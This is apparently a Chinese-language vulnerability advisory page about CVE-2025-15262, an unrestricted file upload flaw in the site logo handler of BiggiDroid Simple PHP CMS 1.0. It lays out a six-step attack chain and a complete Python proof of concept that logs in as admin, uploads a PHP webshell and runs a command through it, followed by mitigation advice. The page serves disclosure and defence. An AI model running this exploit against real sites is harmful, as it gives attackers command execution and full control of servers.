IPBUF安全漏洞报告
English
CVE-2025-15262 CVSS 4.7 中危

CVE-2025-15262 BiggiDroid Simple PHP CMS 1.0 Site Logo Handler无限制文件上传漏洞

披露日期: 2025-12-30

漏洞信息

漏洞编号
CVE-2025-15262
漏洞类型
无限制文件上传
CVSS评分
4.7 中危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
无需交互 (UI:N)
影响产品
BiggiDroid Simple PHP CMS 1.0

相关标签

无限制文件上传CVE-2025-15262BiggiDroidSimple PHP CMSwebshell权限提升CVE-2025

漏洞概述

CVE-2025-15262是BiggiDroid Simple PHP CMS 1.0中存在的一个高危安全漏洞,攻击者可利用该漏洞通过/admin/edit.php页面的Site Logo Handler组件进行无限制文件上传。该漏洞位于image参数处理逻辑中,由于系统未对上传文件的类型和内容进行有效验证,攻击者只需拥有管理员权限即可上传恶意文件(如webshell),进而可能导致服务器被完全控制。该漏洞CVSS评分为4.7,属于中危级别,但由于漏洞利用简单且已有公开利用代码,实际威胁程度较高。漏洞于2025年12月30日披露,厂商尚未发布官方修复补丁,建议用户采取临时防护措施。

技术细节

该漏洞源于BiggiDroid Simple PHP CMS 1.0的/admin/edit.php文件中Site Logo Handler组件对image参数的处理存在缺陷。攻击者在已认证为管理员的前提下,可通过构造恶意请求将任意文件类型上传至服务器。漏洞利用过程如下:首先登录管理后台获取有效会话,然后构造包含恶意文件的POST请求至/admin/edit.php,目标参数为image。服务器端未进行文件类型白名单校验、MIME类型检查或文件内容检测,直接保存上传文件至web目录。攻击者上传的webshell可通过HTTP请求直接执行,从而获得服务器命令执行权限。由于上传路径通常位于web可访问目录,攻击者可轻松访问已上传的恶意文件完成最终利用。

攻击链分析

STEP 1
步骤1
攻击者获取BiggiDroid Simple PHP CMS管理员账户凭据
STEP 2
步骤2
使用管理员身份登录管理后台,建立有效会话
STEP 3
步骤3
构造恶意文件(如PHP webshell)并通过/admin/edit.php的image参数上传
STEP 4
步骤4
服务器未校验文件类型直接将文件保存至web目录(通常为/images/)
STEP 5
步骤5
攻击者通过HTTP请求访问上传的webshell文件,执行任意系统命令
STEP 6
步骤6
获得服务器完全控制权,可进行数据窃取、横向移动或部署后门

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys # CVE-2025-15262 PoC - Unrestricted File Upload in BiggiDroid Simple PHP CMS 1.0 # Target: /admin/edit.php (Site Logo Handler component) def exploit(target_url, username, password, webshell_path): """ Exploit for CVE-2025-15262 Args: target_url: Base URL of the vulnerable site username: Admin username password: Admin password webshell_path: Path to webshell file to upload """ session = requests.Session() # Step 1: Login to admin panel login_url = f"{target_url}/admin/login.php" login_data = { 'username': username, 'password': password } try: response = session.post(login_url, data=login_data, timeout=10) if 'admin' not in response.text.lower() and response.status_code != 200: print("[-] Login failed") return False print("[+] Login successful") # Step 2: Upload malicious file via Site Logo Handler upload_url = f"{target_url}/admin/edit.php" with open(webshell_path, 'rb') as f: files = {'image': ('shell.php', f, 'application/php')} data = {'action': 'upload_logo'} response = session.post(upload_url, files=files, data=data, timeout=10) # Step 3: Access uploaded webshell shell_url = f"{target_url}/images/shell.php" response = session.get(shell_url, params={'cmd': 'whoami'}, timeout=10) if response.status_code == 200: print(f"[+] Shell uploaded successfully: {shell_url}") print(f"[+] Command output: {response.text}") return True else: print("[-] Exploitation failed") return False except Exception as e: print(f"[-] Error: {str(e)}") return False if __name__ == "__main__": if len(sys.argv) < 5: print(f"Usage: python {sys.argv[0]} <target_url> <username> <password> <webshell_path>") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] shell = sys.argv[4] exploit(target, user, pwd, shell)

影响范围

BiggiDroid Simple PHP CMS 1.0

防御指南

临时缓解措施
在官方补丁发布前,建议采取以下临时措施:1)限制管理后台访问来源,仅允许可信IP访问/admin路径;2)启用Web应用防火墙(WAF)规则拦截异常文件上传请求;3)将上传目录从web根目录移出并设置为禁止执行脚本;4)监控/web目录下的异常.php文件创建行为;5)考虑暂时禁用Site Logo Handler功能直至漏洞修复。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表